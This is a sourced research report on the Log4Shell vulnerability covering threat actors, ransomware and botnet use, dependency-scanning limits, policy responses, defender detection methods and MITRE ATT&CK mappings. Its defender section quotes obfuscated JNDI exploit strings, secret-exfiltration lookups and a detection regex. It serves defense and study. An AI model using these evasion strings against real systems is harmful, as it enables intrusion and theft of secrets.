HAFNIUM (China)	Observed using the vulnerability against virtualization infrastructure	Microsoft [29]	G0125; its ATT&CK T1190 row shares the Microsoft Log4j citation but its text does not mention Log4j [78]	Confirmed (Microsoft)
Unnamed groups from China, Iran, North Korea and Turkey	Microsoft saw tracked nation-state groups from these four countries use the flaw	Microsoft [29]	None	Confirmed
Sea Turtle	ATT&CK maps its use of CVE-2021-44228 for client code execution, citing PwC (December 2023); the PwC report was not opened	ATT&CK [80]	G1041, T1203	Confirmed as ATT&CK's mapping
Lazarus Group (North Korea)	Log4Shell on VMware Horizon against energy companies in the US, Canada and Japan, February to July 2022, with VSingle, YamaBot and MagicRAT	Talos [32], "with high confidence", built from medium-confidence individual evidence	G0032; no Log4j text on the ATT&CK page [85]	Confirmed (Talos)
Lazarus, Andariel / Onyx Sleet subgroup	Operation Blacksmith: opportunistic Log4Shell exploitation of Horizon against manufacturing, agriculture and physical-security organizations, with the DLang RATs NineRAT and DLRAT, BottomLoader and HazyLoad; NineRAT first used in March 2023	Talos [33]; TTPs "consistent with" Andariel; no confidence level stated	G0138; no Log4j text on the ATT&CK page [85]	Confirmed (Talos)
MERCURY / MuddyWater / Mango Sandstorm (Iran, MOIS)	Exploited SysAid servers at Israeli organizations on 23 and 25 July 2022, which Microsoft assesses with moderate confidence was through Log4j 2, then web shells, a new local administrator, Mimikatz, WMI, RemCom and a Ligolo-based tunnel; had used Log4j 2 exploits before, for example against vulnerable VMware apps	Microsoft [30]; MOIS tie "with high confidence", the access method "with moderate confidence"	G0069; no Log4j text on the ATT&CK page [85]	Confirmed (Microsoft)
Likely Iranian governm ent-sponsored actors	Compromised a federal civilian executive branch network as early as February 2022 through Horizon; found by EINSTEIN analysis in April 2022; incident response mid-June to mid-July 2022; XMRig, Mimikatz, PsExec, Ngrok, a rogue domain administrator account and a Defender exclusion; CISA calls the callback a confirmed compromise. No group named	CISA and FBI AA22-320A [50] ("assess", "likely")	Software S0002 Mimikatz, S0029 PsExec, S0508 ngrok	Confirmed

Actor	What the source reports	Source and confidence	ATT&CK object	Grade
Suspected APT actors	Multiple groups exploited Horizon and UAG since December 2021; at Victim 2, access in late January 2022 or earlier, likely through Log4Shell, loaders masquerading as Sysinternals tools, RDP lateral movement, and more than 130 GB sent out over about three weeks. No group named; the advisory says one DLL "may be the same" as one attributed to APT actors in open-source reporting, and cites a Fortinet Deep Panda blog only as the reference for one IP address	CISA and the US Coast Guard Cyber Command, AA22-174A [49]	None	Confirmed
Mandiant clusters	22 clusters exploited CVE-2021-44228; UNC3500 is suspected to have a China nexus, UNC961 is called suspected financially motivated, and UNC3535's motive is not assessed	Mandiant [39]	None	Confirmed

Two negative findings belong here. AA21-356A named no actor and no nation-state, while the FBI reported attempts to deploy cryptomining and botnet malware and assessed that sophisticated actors may exploit the flaw (Confirmed [42]). And the CSRB found no evidence of use by PRC, Iranian, North Korean or Russian actors before the 9 December disclosure (Confirmed [25]).

Ransomware and access brokers

- **Khonsari.** Bitdefender saw "a new ransomware family" (AES-128 CBC, `.khonsari` extension) delivered through Log4Shell on 11 December 2021 (Bitdefender's 'Sunday'; the date was a Saturday); on 13 December a class from the same server led to what appears to be Orcus RAT (Confirmed [35]). Microsoft confirmed public reports of Khonsari launched from compromised Minecraft clients connected to modified, self-hosted Minecraft servers, in a small number of cases, and also saw PowerShell reverse shells and Mimikatz on Minecraft clients (Confirmed [29]).
- **Access brokers.** On 14 December Microsoft confirmed that multiple tracked groups acting as access brokers were using the flaw for initial access and then selling access to the networks to ransomware-as-a-service affiliates (Confirmed [29]).
- **NightSky.** From 4 January 2022, DEV-0401, which Microsoft describes as a China-based ransomware operator, exploited internet-facing VMware Horizon and deployed NightSky (Confirmed [29]). ATT&CK records this group as G1021 Cinnamon Tempest, with Log4j among its exploited vulnerabilities under T1190 (Confirmed [78]).
- **AvosLocker.** Talos traced an intrusion through two Horizon Unified Access Gateways vulnerable to CVE-2021-44228, 45046, 45105 and 44832, from 7 February 2022 to AvosLocker delivery on 8 March, with Sliver, Cobalt Strike, Mimikatz, AnyDesk and PDQ Deploy; Talos says some artifacts may be from a separate actor (Confirmed [34]). ATT&CK records it as campaign C0018, by unidentified actors, with software S1053 AvosLocker (Confirmed [82]).
- **Conti.** AdvIntel, as reported by BleepingComputer, said Conti appears to have taken interest in Log4Shell on 12 December, began looking for victims on 13 December, and used it to move laterally to VMware vCenter after entering by other means, calling it the first known "top-tier" operation to weaponize the flaw

(Reported [41]; the AdvIntel report was not opened). S0575 Conti exists in ATT&CK, but its page carries no Log4j text (Confirmed [85]).

- **The later picture.** The CSRB relays an unnamed vendor's investigation of multiple Log4j ransomware incidents from January to March 2022 (Reported [25]). KEV marks both 44228 and 45046 with known ransomware campaign use (Confirmed [21]).

Botnets, miners and mass scanning

360 Netlab's honeypots caught two waves on 11 December, adopted by a Mirai variant and by Muhstik, a Tsunami variant with an SSH-key backdoor that reports over Tor, in what it called a quick sample analysis (Confirmed [36]). Talos listed Mirai, the Kinsing miner, and connections to previously known Cobalt Strike servers, and was aware of reports of nation-state actors without naming any (Confirmed [31]). Bitdefender also saw Muhstik and XMRig attempts and said cryptojacking seems to be the main early motive (Confirmed [35]). Microsoft saw mostly mass scanning, plus coin miners, Cobalt Strike for credential theft and lateral movement, data exfiltration, and Base64 commands in JNDI LDAP requests that launched `bash` on Linux and PowerShell on Windows (Confirmed [29]). S0599 Kinsing exists in ATT&CK without Log4j text (Confirmed [85]).

Scale figures come mostly through the CSRB: Cloudflare saw 400 exploitation attempts per second five days after disclosure, and Akamai assessed that about 57 percent of first-week activity came from known malicious actors (Reported [25]). A technology services company saw a scanning spike less than two hours after publication, and researcher scanning was hard to tell apart from malicious activity (Confirmed [25], as the Board's statement). The Board also said that, at the time of writing, it was not aware of significant Log4j-based attacks on critical infrastructure, and that exploitation was lower than many experts predicted (Confirmed [25]).

Part 4: the vulnerability-management view

Why it was so hard to find

The CSRB named the core problem: Log4j is routinely embedded in other software components, often unknown at later levels of integration, which makes it hard to find with common scanning approaches. Consistent with industry convention, the Log4j and ASF teams do not know who uses their software, and response teams often could not tell where the vulnerable code lived in their systems (Confirmed [25]).

Google's Open Source Insights team quantified it. As of 16 December 2021, 35,863 Maven Central artifacts depended on affected Log4j code, more than 8 percent of the repository, against an average advisory impact of 2 percent and a median below 0.1 percent. About 7,000 were direct dependents; for more than 80 percent of affected packages the vulnerable code was more than one level deep, most at five levels and some at nine (Confirmed [59]). After the CVE was clarified to cover `log4j-core` only, Google's editor's note gave over 17,000 affected packages, about 4 percent, with 25 percent having fixed versions, as of 19 December (Confirmed [59]). Java's habit of soft, exact version requirements means a fix often needs an explicit dependency bump by a maintainer at each level, unlike the open ranges common in npm (Confirmed [59]). Google said a full fix might take years (Confirmed [59]).

JFrog surveyed the latest package versions in Maven Central and found about 400 packages that include Log4j code directly. In about 65 percent of those, the code is included as classes (shaded or bundled) rather than a whole JAR, and in about 30 percent of those cases Log4j did not appear in the transitive dependency list at all; tools that look only for complete JAR files miss most such cases (Confirmed [60]). The GitHub

advisory for CVE-2021-44228 lists four repackaged Maven coordinates besides `org.apache.logging.log4j:log4j-core`: `org.ops4j.pax.logging:pax-logging-log4j2`, `com.guicedee.services:log4j-core`, `org.xbib.elasticsearch:log4j` and `uk.co.nichesolutions.logging.log4j:log4j-core` (Confirmed [23]).

How the scanners worked

Tool	Method	Limits stated by the tool	Source
Logpresso `log4j2-scan`	Reads `META-INF/maven/.../log4j-core/pom.properties` inside JAR, WAR, EAR, AAR, RAR and NAR files, recursing into nested JARs	Depends on the embedded Maven metadata	[62] (Confirmed)
JFrog `scan_log4j_versions`	Fingerprints the `JndiManager` and `JndiLookup` class code regardless of JAR names or `pom.xml` content	Names transitive dependencies and bundling as the two obstacles it addresses	[61] (Confirmed)
MergeBase `log4j-detector`	Finds Log4j in Spring Boot JARs, uber JARs, shaded JARs and exploded classes, recursing zip-in-zip	Does not enter tar or gz; ignores `log4j-api`	[63] (Confirmed)
CERT/CC `checkjndi`	Searches JAR, WAR and EAR files for `JndiLookup.class`	A 2.16 JAR still contains the class (disabled by default), so a hit is not proof of exposure	[64] (Confirmed)
Tenable plugins	Unauthenticated remote callback checks (156014 HTTP callback correlation, 155998 LDAP bind listener), authenticated local install and JAR detection (156000, 156001), and a web application scanning plugin (113075)	Remote checks depend on the callback reaching the scanner	[65] (Confirmed)
CISA `log4j-scanner`	Sends payloads to web services and watches for out-of-band DNS callbacks	Its README warns false negatives may occur; the repository was archived in December 2022	[46] (Confirmed)

These methods form a ladder of resilience to repackaging: file name, then embedded Maven metadata, then class presence, then class fingerprinting (Inferred from [61][62][63][64]). Relocation-shading that renames the `log4j/core` package segment would defeat path matching, but no source measured how common that was (Inferred). CISA's community database of affected products, `log4j-affected-db`, holds 4,472 product entries across 761 distinct vendor names in `data/cisagov.yml` (Confirmed [47], counted from the file).

What the government asked for

CISA's guidance urged high-fidelity file system scanning, checking its vendor database for SaaS and cloud gaps, verification with both the CISA scanner and the CERT/CC scanner, and patching over mitigation, because tracking mitigation status asset by asset adds administrative overhead (Confirmed [45]). Emergency Directive 22-02, issued 17 December 2021, required federal civilian agencies by 5 pm EST on 23 December to enumerate solution stacks accepting data input from the internet, check them against CISA's repository, and update, mitigate or remove affected assets; for affected stacks agencies had to "assume compromise" and hunt, with outbound LDAP and RMI traffic as the example; reports were due 28 December, and CISA was to report to the DHS Secretary and the OMB Director by 15 February 2022 (Confirmed [43]). CISA closed the directive on 8 April 2022 and moved its actions into BOD 22-01, which still requires full remediation wherever updates exist (Confirmed [43]).

The response cost, and what the CSRB recommended

The CSRB reported that one federal cabinet department spent 33,000 hours on Log4j vulnerability response, and that the organizations that responded best understood their use of Log4j and had mature processes to manage assets and assess risk, while few could act at the speed required (Confirmed [25]). Responders used scanners, EDR, vendor and custom scripts, and manual penetration testing and threat hunting to find the code, and WAF configurations, IDS and IPS signatures, and SIEM, EDR and MDR to detect exploitation (Confirmed [25]). The Board assessed Log4j as an "endemic vulnerability" that will remain in systems for many years, perhaps a decade or longer (Confirmed [25]).

It made 19 recommendations in four groups: Address Continued Risks of Log4j (1 to 4); Drive Existing Best Practices for Security Hygiene (5 to 9, including investing in the ability to identify vulnerable systems, IT asset and application inventory, and a documented vulnerability response program); Build a Better Software Ecosystem (10 to 14, including improved SBOM tooling); and Investments in the Future (15 to 19, including a baseline software transparency requirement for federal vendors, a Cyber Safety Reporting System, a Software Security Risk Assessment Center of Excellence, incentive structures, and a NIST-convened working group on identifying vulnerable software) (Confirmed [25]).

The Board also raised concern that PRC disclosure laws and the reported sanction of Alibaba could chill coordinated disclosure; the PRC government answered on behalf of MIIT but did not answer the Board's question about a sanction (Confirmed [25]).

SBOMs before and after

The NTIA minimum elements for an SBOM were published on 12 July 2021, five months before Log4Shell (Confirmed [71]), but the CSRB found that SBOMs were limited by variance in field descriptions, missing version information and a lack of automation on the consuming side, and none of the representative groups it spoke with reported using them to find Log4j (Confirmed [25]). The policy response followed:

Date	Instrument	What it does	Source
13 Jan 2022	White House meeting on software security	Discussed preventing defects in open source, improving how they are found and fixed, and shortening fix distribution; the readout does not name Log4j	[72] (Confirmed)

Date	Instrument	What it does	Source
12 to 13 May 2022	OpenSSF and Linux Foundation mobilization plan	10 investment streams, including SBOMs Everywhere, better scanning, incident response, code audits and improved software supply chains	[73] (Confirmed)
14 Sep 2022	OMB M-22-18	Producer self-attestation to NIST SSDF practices; agencies may require SBOMs in NTIA formats	[74] (Confirmed)
23 Oct 2024	EU Cyber Resilience Act, signed (Regulation (EU) 2024/2847 of 23 October 2024), Annex I Part II(1)	A machine-readable SBOM covering at the very least top-level dependencies; the Regulation applies from 11 December 2027, with reporting obligations from 11 September 2026	[77] (Confirmed)
2025	CISA 2025 SBOM Minimum Elements	Adds component hashes and a Generation Context element distinguishing source, build-time and binary-analysis SBOMs	[76] (Confirmed)
23 Jan 2026	OMB M-26-05	Rescinds M-22-18 and M-23-16; agencies must still keep complete software and hardware inventories and may contract for an SBOM on request, including a runtime SBOM for cloud	[75] (Confirmed)

Two inferences follow. First, because most affected Maven Central packages had Log4j five levels deep, a top-level-only SBOM of the kind the Cyber Resilience Act sets as its floor would not have revealed most Log4j exposure (Inferred from [59][77]). Second, the 2025 CISA elements address the Log4Shell failure mode: a manifest SBOM lists declared dependencies, while shaded copies, which are created during the build, show up only in build-time or binary-analysis SBOMs; the CISA document itself does not name Log4j (Inferred from [76]).

The long tail

Measure	Figure	Source
CISA top routinely exploited, 2021	CVE-2021-44228 first in Table 1	[48] (Confirmed)
CISA top routinely exploited, 2023	CVE-2021-44228 eighth in Table 1	[51] (Confirmed)
Veracode, 38,278 applications at 3,866 organizations, Aug to Nov 2023	38 percent used vulnerable Log4j; 2.8 percent still Log4Shell-vulnerable; 3.8 percent on 2.17.0; 32 percent on end-of-life 1.2.x. Veracode's earlier research found that 79 percent of the time developers never update a library after adding it	[67] (Confirmed)
Sonatype resource center (undated)	Downloads of vulnerable versions still above 10 percent nearly three years after fixes	[69] (Confirmed)
Sonatype, 10 Dec 2025	About 13 percent of nearly 300 million 2025 Log4j downloads from Maven Central, about 40 million, still contained Log4Shell; 8 to 29 percent across the ten largest developer countries	[68] (Confirmed)
Network telescope study, Dec 2021 to Oct 2025	Exploitation persists for years, with rising obfuscation and concentration on recurring scanner and callback infrastructure (abstract only)	[70] (Confirmed)

Triage lessons

Every triage signal agreed for once: CVSS 10.0, KEV on day one with ransomware use, EPSS at the ceiling, and named state actors within days (Confirmed [18][21][22][38]). The difficulty was never prioritization; it was locating the asset. Programs that already had software inventory below the top-level dependency, and that could act on a finding inside the KEV deadline of 14 days, were the ones the CSRB described as responding best (Inferred from [25][21]). The follow-on CVEs also show why a remediation target should be checked against the vendor's current security page, not the first advisory: a team that closed tickets at 2.15.0 on 10 December had to reopen them three times (Inferred from [2][9]).

Part 5: the defender view

What the string looks like and where it lands

Microsoft documented injection points well beyond web requests: User-Agent and other request fields, application and account names in cloud apps, email headers and sender fields, and in-game Minecraft messages (Confirmed [29]). Its Microsoft 365 Defender and Sentinel content included a hunt for outbound LDAP to an external IP that had no LDAP connection in the prior 14 days, and named WAF rules Azure Front Door 944240 and Application Gateway `Known-CVEs/800100` (Confirmed [29]). The page was updated many times after 11 December 2021, so some of these details came in later revisions (Confirmed [29]).

Cloudflare found LDAP by far the most common protocol in captured payloads, with DNS and HTTP also seen, and a Base64 LDAP payload that decodes to `curl` or `wget` piped to `bash` purely as an exploit-success beacon (Confirmed [27]). Its later analysis catalogued the evasion patterns: URL and unicode encoding (`%24%7B`), case lookups such as `${lower:H}`, nested lookups, the default-value syntax (`${::-j}`, `${env:NOTEXIST:-h}`), and exfiltration lookups (`${env}`, `${sys}`, `${main}`, and Docker, Kubernetes and Spring lookups) aimed at secrets and host details, including payloads that pulled `${env:PASSWORD}`-style variables (Confirmed [28]). The Netherlands NCSC listed in-the-wild obfuscations including `${base64:JHtqbmRp...}`, a dotless i (U+0131) inside `${upper:}`, random-key default values and `${env:NaN:-j}`, published a detection regular expression from the `log4shell-rex` project, and warned that no exhaustive regular expression is possible and that the pattern works only on URL-decoded logs (Confirmed [53]).

The Neo23x0 `log4shell-detector` takes a different approach because the string can be heavily obfuscated: it walks log lines looking for the characters of the lookup in order within a maximum distance, its "detection pads", instead of using a regular expression. It does not find vulnerable applications and cannot tell whether an attempt succeeded (Confirmed [58]).

Telling an attempt from a compromise

Most of the traffic was scanning; the work is finding the few successes.

- **Outbound callbacks.** Fox-IT says outbound LDAP(S) and RMI connections from servers are highly uncommon and can mark successful exploitation. Its Suricata rules are port-agnostic: an outbound LDAP bind (sid 21003738), an outbound JRMI request (sid 21003739), and an inbound Java class with the `CAFEBABE` magic shortly after an exploit attempt (sid 21003741) (Confirmed [54]). GovCERT.ch's indicators showed rogue LDAP servers on ports 1389, 1534, 5557, 12344 and 47324, which is why blocking only the default ports is not enough (Confirmed [52]).

- **Class downloads.** NCSC-NL describes Java user agents fetching `/Exploit[a-zA-Z0-9]{10}.class` (JNDIExploit) or `/ExecTemplateJDK[5678].class` (JNDI-Exploit-Kit), served as `application/x-java-applet` with the `0xCAFEBABE` magic, Snort sids 21122001 to 21122004 for LDAP `searchResEntry` responses carrying `javaSerializedData` or `javaCodeBase` and for RMI ReturnData, and a three-phase model (inbound scan, outbound callback, payload and child process) credited to Deloitte and GovCERT.ch (Confirmed [53]).
- **Log artifacts of success.** A vulnerable Log4j may log the resolved class, such as `com.sun.jndi.dns.DnsContext@<hash>`, `com.sun.jndi.ldap.LdapCtx`, `javax.el.ELProcessor` or `groovy.lang.GroovyShell`, or the string `Error looking up JNDI resource`. NCSC-NL calls these a strong sign, not proof, and notes that some successful LDAP loads left no log line at all (Confirmed [53]).
- **Process lineage.** CrowdStrike caught Aquatic Panda through unusual child processes of the VMware Horizon Tomcat service, including Linux commands run on a Windows host (Confirmed [37]). The SigmaHQ Horizon rule selects processes whose parent is `ws_TomcatService.exe` and, as written, filters out `cmd.exe` and `powershell.exe` children, tagged `attack.t1190` and `cve.2021-44228` (Confirmed [57]). The SigmaHQ generic webserver rule (10 December 2021) matches the `${jndi:` protocol forms, URL and double-URL encodings, `${::-j}`, case and env lookups and `${base64:JHtqbmRp`, filters Nessus callbacks, and lists vulnerability scanning as a false positive (Confirmed [56]). The Check Point report shows one success path: outbound LDAP to port 4444, then a Java class launching PowerShell (Confirmed [40], as this study's summary of its payload and class behavior).
- **Post-exploitation.** AA22-320A's hunting targets include XMRig, Ngrok tunnels, Mimikatz, PsExec, a rogue domain administrator, and a PowerShell `Add-MpPreference -ExclusionPath` Defender exclusion (Confirmed [50]). AA22-174A adds loaders masquerading as Sysinternals tools and large outbound transfers from a security management server (Confirmed [49]).

Network controls

AA21-356A advises blocking outbound LDAP and RMI or allowlisting known-good destinations, and blocking DNS from anything other than approved enterprise resolvers; it warns that the exploit string can be obfuscated, that no single detection method should be relied on, and that IP blocking works poorly because of the volume of researcher and vendor scanning (Confirmed [42]). GovCERT.ch recommends allowlisting server egress, or monitoring it with Suricata, Snort or Zeek where allowlisting is not possible, and its 12 December guidance included an `egrep` of web logs for `${jndi:(ldap[s]?|rmi|dns):/` and named Mirai, Kinsing and Tsunami among observed payloads (Confirmed [52]).

What a WAF can and cannot do

CISA's ED 22-02 mitigation page calls a WAF "an important, but incomplete, solution" that threat actors will be able to bypass, and calls disabling JNDI lookups effective but warns it may need developer work and affect functionality (Confirmed [44]). Cloudflare concluded that WAFs help but are "not foolproof" and that attackers are actively working on evasions, and because logged data does not always arrive through the Internet, said systems need patching whether or not they face it (Confirmed [28]). The OWASP Core Rule Set project's public bypass hunt found a bypass through a broken XPath selector in its rule 1005 for XML attributes, and a bypass that goes entirely undetected when the application decodes the payload before passing it to Log4j (Confirmed [55]). Inputs that reach Log4j without passing a WAF fall outside its coverage entirely: email headers, chat messages, internal applications, and fields the application decodes after the WAF (Inferred from [29][55]).

Bridging measures

The Amazon Corretto hot patch injects a Java agent into running JVMs that makes `JndiLookup.lookup()` return a fixed string without a restart, and it also covers CVE-2021-45046; its README says it was tested on JDK 8, 11, 15 and 17 on Linux (Confirmed [66]). The CSRB lists the mitigations organizations actually used: egress filtering, deleting `JndiLookup.class`, hot patches, WAF rules, and removing assets from the network, and found WAFs and shutdowns helpful in the short term but not a fix for the underlying issue (Confirmed [25]).

Part 6: MITRE mappings

This Part binds the verified record to MITRE ATT&CK v20.0, CWE, CAPEC and D3FEND, with every id checked against the live MITRE page or the library's data files on 3 November 2026. ATT&CK has no campaign object named for Log4Shell in v20.0 (Confirmed [86]). Log4Shell is an Enterprise vulnerability; there is no ATT&CK for ICS or Mobile mapping in the record.

ATT&CK Enterprise techniques

Tactic names follow ATT&CK v20.0. Since v19, ATT&CK splits the former Defense Evasion tactic into Stealth and Defense Impairment. Ids that the source reported under an earlier ATT&CK version and that are revoked as of v20.0 are shown under their successor from the library's `data/attack/superseded_by.jsonl`, with the original id noted.

Id	Name	Tactic (v20.0)	Where it appears in the Log4Shell record	Source
T1190	Exploit Public-Facing Application	Initial Access	ATT&CK procedures citing Log4j for C0017 (APT41, Dec 2021), C0018 (Horizon UAG, Feb 2022), G1021 Cinnamon Tempest and G0059 Magic Hound; AA22-174A (23 Jun 2022); AA22-320A (16 Nov 2022); Talos Lazarus (8 Sep 2022); SigmaHQ rules	[78][49][50][32][56][57]

Id	Name	Tactic (v20.0)	Where it appears in the Log4Shell record	Source
T1595.002	Vulnerability Scanning	Reconnaissance	Aquatic Panda's use of public DNS logging services to find Log4j-vulnerable servers (CrowdStrike, 29 Dec 2021); Magic Hound's scanning for CVE-2021-44228 (Check Point, 11 Jan 2022)	[79][84][83]
T1590	Gather Victim Network Information	Reconnaissance	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1203	Exploitation for Client Execution	Execution	Sea Turtle's use of CVE-2021-44228, citing PwC (Dec 2023)	[80]
T1059.001	PowerShell	Execution	AA22-174A; AA22-320A Defender exclusion; C0018; Aquatic Panda; CharmPower	[49][50][82][86]
T1059.003	Windows Command Shell	Execution	Aquatic Panda; CharmPower	[86]
T1047	Windows Management Instrumentation	Execution	C0018	[82]
T1072	Software Deployment Tools	Execution, Lateral Movement	C0018 (PDQ Deploy)	[82]
T1053.005	Scheduled Task	Execution, Persistence, Privilege Escalation	AA22-174A; AA22-320A; Talos Lazarus	[49][50][32]
T1505.003	Web Shell	Persistence	AA22-174A	[49]
T1543.003	Windows Service	Persistence, Privilege Escalation	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1547.001	Registry Run Keys / Startup Folder	Persistence, Privilege Escalation	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1098	Account Manipulation	Persistence, Privilege Escalation	AA22-320A	[50]
T1136.001	Local Account	Persistence	AA22-320A	[50]
T1136.002	Domain Account	Persistence	AA22-320A rogue domain administrator; Talos Lazarus	[50][32]
T1078.001	Default Accounts	Stealth, Persistence, Privilege Escalation, Initial Access	AA22-320A	[50]
T1036	Masquerading	Stealth	C0018	[82]
T1036.004	Masquerade Task or Service	Stealth	AA22-174A	[49]
T1036.005	Match Legitimate Resource Name or Location	Stealth	C0018	[82]
T1027.010	Command Obfuscation	Stealth	C0018; Aquatic Panda	[82][86]

Id	Name	Tactic (v20.0)	Where it appears in the Log4Shell record	Source
T1070.004	File Deletion	Stealth	AA22-320A; Aquatic Panda	[50][86]
T1574.001	DLL	Stealth, Execution	Aquatic Panda DLL search-order hijacking (CrowdStrike endnotes; ATT&CK G0143)	[37][84][86]
T1218.011	Rundll32	Stealth	C0018	[82]
T1140	Deobfuscate/Decode Files or Information	Stealth	CharmPower; Talos Lazarus	[86][32]
T1685	Disable or Modify Tools	Defense Impairment	Aquatic Panda EDR stop attempt; AA22-320A Defender exclusion (reported as T1562.001 under ATT&CK v11); Talos Lazarus disabling Defender (reported as T1562 and T1562.001)	[86][50][32][89]
T1685.005	Clear Windows Event Logs	Defense Impairment	Talos Lazarus cleanup (reported as T1070.001)	[32][89]
T1686	Disable or Modify System Firewall	Defense Impairment	Talos Lazarus on Horizon (8 Sep 2022), reported as T1562.004	[32][89]
T1112	Modify Registry	Defense Impairment, Persistence	Operation Blacksmith (Talos, 11 Dec 2023)	[33]
T1003.001	LSASS Memory	Credential Access	AA22-320A; Aquatic Panda `rdrleakdiag` and `createdump`; Talos Lazarus	[50][37][86][32]
T1003.003	NTDS	Credential Access	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1003.005	Cached Domain Credentials	Credential Access	Talos Lazarus on Horizon (8 Sep 2022); Operation Blacksmith (Talos, 11 Dec 2023)	[32][33]
T1555	Credentials from Password Stores	Credential Access	AA22-320A	[50]
T1056.001	Keylogging	Collection, Credential Access	AA22-174A	[49]
T1018	Remote System Discovery	Discovery	AA22-320A	[50]
T1016	System Network Configuration Discovery	Discovery	C0018	[82]
T1016.001	Internet Connection Discovery	Discovery	AA22-320A	[50]
T1033	System Owner/User Discovery	Discovery	C0018; Talos Lazarus	[82][32]
T1046	Network Service Discovery	Discovery	C0018	[82]
T1082	System Information Discovery	Discovery	Aquatic Panda; Talos Lazarus	[86][32]

Id	Name	Tactic (v20.0)	Where it appears in the Log4Shell record	Source
T1518.001	Security Software Discovery	Discovery	Aquatic Panda; Talos Lazarus	[86][32]
T1007	System Service Discovery	Discovery	Aquatic Panda	[86]
T1087.002	Domain Account	Discovery	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1083	File and Directory Discovery	Discovery	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1021.001	Remote Desktop Protocol	Lateral Movement	AA22-174A; AA22-320A; C0018; Talos Lazarus	[49][50][82][32]
T1570	Lateral Tool Transfer	Lateral Movement	C0018	[82]
T1560.001	Archive via Utility	Collection	AA22-174A; Aquatic Panda WinRAR	[49][86]
T1071.001	Web Protocols	Command and Control	AA22-174A; C0018; CharmPower	[49][82][86]
T1573.001	Symmetric Cryptography	Command and Control	AA22-174A	[49]
T1105	Ingress Tool Transfer	Command and Control	AA22-174A; AA22-320A; C0018; Aquatic Panda; CharmPower	[49][50][82][86]
T1571	Non-Standard Port	Command and Control	AA22-174A; C0018	[49][82]
T1090	Proxy	Command and Control	AA22-174A; AA22-320A (Ngrok); Talos Lazarus	[49][50][32]
T1219.002	Remote Desktop Software	Command and Control	C0018 (AnyDesk)	[82]
T1132.001	Standard Encoding	Command and Control	Aquatic Panda (CrowdStrike endnotes); CharmPower	[37][86]
T1102.001	Dead Drop Resolver	Command and Control	CharmPower	[86]
T1041	Exfiltration Over C2 Channel	Exfiltration	CharmPower	[86]
T1048.003	Exfiltration Over Unencrypted Non-C2 Protocol	Exfiltration	CharmPower	[86]
T1588.001	Malware	Resource Development	Aquatic Panda	[86]
T1588.002	Tool	Resource Development	C0018; Aquatic Panda	[82][86]
T1608.001	Upload Malware	Resource Development	Talos Lazarus on Horizon (8 Sep 2022)	[32]
T1486	Data Encrypted for Impact	Impact	C0018 (AvosLocker)	[82]

Id	Name	Tactic (v20.0)	Where it appears in the Log4Shell record	Source
T1027	Obfuscated Files or Information	Stealth	Obfuscated lookups described by Microsoft and Cloudflare; no opened source cites the id (Inferred)	[29][28]
T1496	Resource Hijacking	Impact	Coin miners described by Microsoft, Talos, Bitdefender and the XMRig in AA22-320A; no opened source cites the id (Inferred)	[29][31][35][50]

The Aquatic Panda and CharmPower rows come from ATT&CK v20.0 STIX relationships that cite the CrowdStrike Log4Shell report (29 December 2021) and the Check Point Log4j report (11 January 2022); three Aquatic Panda rows (T1070.004, T1560.001, T1574.001) also cite CrowdStrike's 2022 threat hunting report (Confirmed [86]). The C0018 rows are the campaign's own technique list (Confirmed [82]). AA22-174A prints a few ids with typos (`TT571` and `T505.003` in its text, `1573.001` in its table); this study uses the correct forms, which the advisory's table and text together support (Confirmed [49]).

ATT&CK groups, software and campaigns

Object	Id and library page	Tie to Log4Shell	Source
APT41	G0096	Mandiant reporting; ATT&CK records it through campaign C0017	[38][81]
Campaign C0017	C0017	APT41, May 2021 to Feb 2022; T1190 entry names CVE-2021-44228 and CVE-2021-44207	[81]
Campaign C0018	C0018	Unidentified actors, Feb to Mar 2022; T1190 entry names the four Log4Shell CVEs on Horizon UAG	[82]
Magic Hound	G0059	T1595.002 and T1190 for Log4j	[83]
Aquatic Panda	G0143	T1595.002 for Log4j DNS logging	[84]
Cinnamon Tempest	G1021	T1190 lists Log4j	[78]
Sea Turtle	G1041	T1203 names CVE-2021-44228	[80]
HAFNIUM	G0125	Microsoft reporting; the ATT&CK T1190 row shares the citation only	[29][78]
Lazarus Group	G0032	Talos reporting; no Log4j text in ATT&CK	[32][85]
Andariel	G0138	Talos reporting ("consistent with"); no Log4j text in ATT&CK	[33][85]
MuddyWater	G0069	Microsoft reporting; no Log4j text in ATT&CK	[30][85]
CharmPower	S0674	Magic Hound's backdoor delivered through Log4j, citing Check Point	[83][86]
KEYPLUG	S1051	C0017 software; Mandiant's KEYPLUG.LINUX after Log4j exploitation	[81][38]
DEADEYE	S1052	C0017 software	[81]
dsquery	S0105	C0017 software	[81]
Ping	S0097	C0017 and C0018 software	[81][82]
Cobalt Strike	S0154	C0017 and C0018 software; Aquatic Panda; Microsoft and Talos reporting	[81][82][86][29][31]
Mimikatz	S0002	C0017 and C0018 software; AA22-320A; MERCURY	[81][82][50][30]
njRAT	S0385	Aquatic Panda software in ATT&CK v20.0, citing the CrowdStrike Log4Shell report	[86]
AvosLocker	S1053	C0018 ransomware	[82][34]
netsh	S0108	C0018 software	[82]
Sliver	S0633	C0018 software	[82][34]
PsExec	S0029	AA22-320A	[50]
ngrok	S0508	AA22-320A	[50]

Object	Id and library page	Tie to Log4Shell	Source
Kinsing	S0599	Talos reporting; no Log4j text in ATT&CK	[31][85]
Conti	S0575	AdvIntel via BleepingComputer (Reported); no Log4j text in ATT&CK	[41][85]
MagicRAT	S1182	Lazarus Group's RAT in the Log4Shell-on-Horizon energy campaign	[32]
Impacket	S0357	Lazarus Group's Active Directory reconnaissance after Log4Shell on Horizon	[32]

Khonsari, Orcus RAT, Mirai, Muhstik, XMRig, NightSky, VSingle, YamaBot, NineRAT and DLRAT have no ATT&CK software object in the library's data and are left unlinked.

CWE and CAPEC

Weakness	Name	Who assigns it	CAPEC in the library	Source
CWE-502	Deserialization of Untrusted Data	Apache CNA for CVE-2021-44228; KEV	CAPEC-586 Object Injection, the only CAPEC the library relates to CWE-502; CAPEC-586 has no ATT&CK technique mapping in the library	[17][21][89]
CWE-917	Improper Neutralization of Special Elements used in an Expression Language Statement	NVD for CVE-2021-44228; NVD and Apache for CVE-2021-45046; KEV for 45046. MITRE's CWE-917 page lists CVE-2021-44228 as an observed example	None in the library	[18][19][21][87][89]
